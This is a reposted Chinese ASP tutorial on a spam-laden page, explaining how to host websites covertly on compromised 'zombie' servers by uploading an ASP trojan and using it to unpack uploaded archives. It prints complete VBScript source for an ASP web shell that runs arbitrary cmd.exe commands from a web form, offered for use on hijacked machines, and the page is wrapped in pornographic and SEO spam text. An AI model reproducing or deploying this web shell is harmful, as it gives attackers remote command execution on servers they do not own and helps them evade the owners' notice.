国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

代碼指導用ASP木馬實現FTP和解壓縮_ASP教程

2024-05-04 11:03:38
字體:
來源:轉載
供稿:網友

推薦:如何讓你的ASP運行于非Windows平臺
自從Micorsoft推出ASP技術后,由于ASP在創建動態交互式站點上的強大功能及其代碼編寫的簡便性,使ASP在越來越多的Internet/Intranet/Extranet網站上得到了極其廣泛的應用,尤其是涉及到數據庫操

我想大家都有一些開了80端口的肉雞吧,如果是國內的出于安全就不要往下看了,如果不不妨往下看一下,小弟獻丑了,以求拋磚引玉。

在肉雞上放網站最麻煩的可能就是更新和上傳大量的文件了,終端服務大白天容易被發現,自己開個ftp又不放心.自己在網上轉了一圈發現通過結合無組件上傳和ASP木馬可以輕松實現。

asp木馬大家都很熟悉,無非就是一個cmd,有什么作用啊,你別急,聽我慢慢說嘛.整體思路就是先通過ftp,139,或者winshell上傳一個無組件asp程序。我選擇了化境的Webedit(其實這個已經不是一個單純的無組件上傳的工具了,通過它還可以修改,刪除文件/目錄,可以用來更新頁面喔,作起來廣告了,我跟他沒親戚啊,閃過一個flying bottle..繼續)和一個asp木馬(如果,實在懶得找。最后帶著源碼,粘貼另存為asp文件即可),記住可都要在肉雞的web目錄喔.其實大多的問題webedit都可以解決,不過如果有很多文件一個一個上傳可就麻煩了,怎么辦?這下asp木馬用上了。找一個rar.exe(所有裝過了winrar的目錄都有,說不定肉雞上已經安好了,如果是別的命令行的解壓縮工具也可以喔)把它拷到%SystemRoot%/system32/下。上傳.zip或者.rar文件到該肉雞的web目錄。在瀏覽器地址欄里打開asp木馬(暫時稱之為trojan.asp),在text文本框里輸入rar -x source.rar path解壓縮成功,V,且慢如何得到web目錄的絕對路徑(path)呢?我用的是用土方法,修改trojan.asp加入一行轉換虛擬目錄成絕對路徑并輸出的語句<% =server.mappath(".") %>,"."可以隨意改成任何的相對虛擬目錄。

只是提供一個思路,如果哪個牛人可寫一個asp的解壓縮那更好嘍,不過?誰會呢,我不會,你會嗎?至于如何隱藏虛擬目錄,支持簡體中文顯示等就不是該篇的討論之列了,老話,安全第一,一般放個小的論壇或聊天室就可以了,如果真放個個人主頁,還把自己的聯系地址,電話號碼也留給人家就不太好了.ps.junesun建議直接作成自解壓,不知會不會彈出對話框。

以下為引用的內容:

<%@ Language=VBScript %>
<%
 Dim oScript
 Dim oScriptNet
 Dim oFileSys, oFile
 Dim szCMD, szTempFile
 On Error Resume Next
 <

  ' -- create the COM objects that we will be using -- '
  Set oScript = Server.createObject("WSCRIPT.SHELL")
  Set oScriptNet = Server.createObject("WSCRIPT.netWORK")
  Set oFileSys = Server.createObject("Scripting.FileSystemObject") <

  ' -- check for a command that we have posted -- '
  szCMD = Request.form(".CMD")
  If (szCMD <> "") Then <

   ' -- Use a poor man's pipe ... a temp file -- '
   szTempFile = "C:/" & oFileSys.GetTempName( )
   Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
   Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) <

  End If <

%>
<HTML>
<BODY>
?。糵orm action="<%= Request.ServerVariables("URL") %>" method="POST">
 ?。糹nput type=text name=".CMD" size=45 value="<%= szCMD %>">
 ?。糹nput type=submit value="Run">
 </form>
<PRE> <

?。?
  If (IsObject(oFile)) Then
   ' -- Read the output from our command and remove the temp file -- '
   On Error Resume Next
   Response.Write Server.HTMLEncode(oFile.ReadAll)
   oFile.Close
   Call oFileSys.deleteFile(szTempFile, True)
  End If
 %>
</BODY>
</HTML>

分享:瞄準Apache IIS7向開源張開雙臂
微軟看中了Apache模塊化程度(modularity)高的優點。微軟 IIS團隊高級項目經理Eric Deily說,他們正努力在IIS 7.0中模仿這一特性。IIS7.0較以往版本最大的變化就是通過FastCGI原生支持多種開源開

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 城固县| 英超| 英吉沙县| 旬阳县| 临夏市| 乌鲁木齐市| 浠水县| 天门市| 益阳市| 玛多县| 漳州市| 定陶县| 奈曼旗| 禹城市| 永安市| 克山县| 凌源市| 沙河市| 南江县| 黄大仙区| 唐河县| 顺义区| 库尔勒市| 隆尧县| 乌兰察布市| 华池县| 敦化市| 九寨沟县| 方正县| 安平县| 密山市| 博乐市| 宁陕县| 项城市| 绥滨县| 沛县| 台州市| 旅游| 大石桥市| 大石桥市| 凭祥市|